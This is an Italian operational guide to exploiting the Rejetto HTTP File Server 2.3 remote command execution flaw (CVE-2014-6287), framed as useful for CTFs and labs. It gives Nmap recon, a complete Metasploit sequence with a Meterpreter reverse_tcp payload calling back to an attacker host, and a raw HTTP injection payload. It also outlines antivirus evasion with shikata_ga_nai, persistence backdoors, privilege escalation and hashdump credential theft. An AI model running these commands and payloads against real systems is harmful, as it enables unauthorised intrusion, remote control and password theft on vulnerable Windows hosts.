Guida Operativa: Exploiting di un HTTP File Server Vulnerabile (Rejetto HFS 2.3)
HttpFileServer HFS è una piccola applicazione server HTTP per Windows, utilizzata per la condivisione di file. La versione 2.3 presenta una vulnerabilità nota che consente l'esecuzione remota di coman
Guida Operativa: Exploiting di un HTTP File Server Vulnerabile (Rejetto HFS 2.3)
1. Introduzione
HttpFileServer (HFS) è una piccola applicazione server HTTP per Windows, utilizzata per la condivisione di file. La versione 2.3 presenta una vulnerabilità nota che consente l'esecuzione remota di comandi (RCE).
La vulnerabilità può essere sfruttata facilmente tramite Metasploit utilizzando un modulo exploit dedicato.
Questa guida descrive:
- La fase di riconoscimento
- L'identificazione della vulnerabilità
- L'exploitation tramite Metasploit
- Approfondimenti tecnici e alternative
2. Ricognizione e Identificazione del Servizio
Eseguendo una scansione con Nmap:
nmap -sV -p 80 <IP_TARGET>Output tipico:
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3Con il flag -sV abbiamo rilevato la versione precisa del software: HttpFileServer 2.3.
3. Identificazione della Vulnerabilità
La versione 2.3 di HFS è vulnerabile ad attacchi RCE a causa di una cattiva gestione dei parametri passati via URL, che possono essere interpretati ed eseguiti come comandi di sistema.
CVE associata: CVE-2014-6287.
4. Exploitation tramite Metasploit
Metasploit fornisce un modulo pronto all'uso:
Modulo: exploit/windows/http/rejetto_hfs_exec
4.1 Configurazione Exploit
In msfconsole:
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS <IP_TARGA>
set RPORT 80
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_ATTACCANTE>
set LPORT <PORTA_LISTENER>
run
Note operative:
- Assicurarsi che LHOST sia raggiungibile dalla macchina target.
- Se è in esecuzione un firewall, potrebbe essere necessario usare porte comuni (es. 443).
4.2 Esecuzione
Una volta lanciato l'exploit, verrà stabilita una sessione meterpreter.
meterpreter > sysinfoConfermare l'accesso alla macchina remota.
5. Approfondimenti Tecnici
5.1 Funzionamento Interno dell'Exploit
- L'exploit invia una richiesta HTTP malformata.
- All'interno dell'URL, viene utilizzato il metodo
GETper iniettare comandi nel server vulnerabile.
- Il comando viene eseguito con i privilegi dell'utente che esegue HFS.
Esempio manuale di exploit HTTP:
GET /?search=%00{.exec|cmd.exe /c calc.exe.} HTTP/1.1
Host: <IP_TARGA>Questo aprirebbe la calcolatrice sulla macchina bersaglio.
5.2 Alternative di Exploitation
- Exploitation manuale: crafting manuale di richieste HTTP senza l'ausilio di Metasploit.
- Payload custom: invio di script personalizzati (es. Powershell) piuttosto che Meterpreter.
- Chaining: usare il foothold ottenuto per pivoting interno alla rete.
6. Tecniche Complementari e Migliorie
- Bypass Antivirus: codifica del payload con encoder Metasploit tipo
x86/shikata_ga_nai.
- Persistence: una volta guadagnato l'accesso, stabilire una backdoor per accessi successivi.
- PrivEsc: enumerare la macchina per scoprire vulnerabilità locali che consentano la scalata dei privilegi.
Strumenti utili post-exploitation:
post/windows/gather/hashdump
post/multi/recon/local_exploit_suggester
7. Considerazioni Finali
Questa vulnerabilità è molto utile in ambienti CTF e laboratori formativi, ma è bene ricordare che in ambienti reali sistemi con HFS 2.3 sono estremamente obsoleti. In scenari di penetration test formale, l'identificazione preventiva di tali software è già da considerarsi una Critical Finding.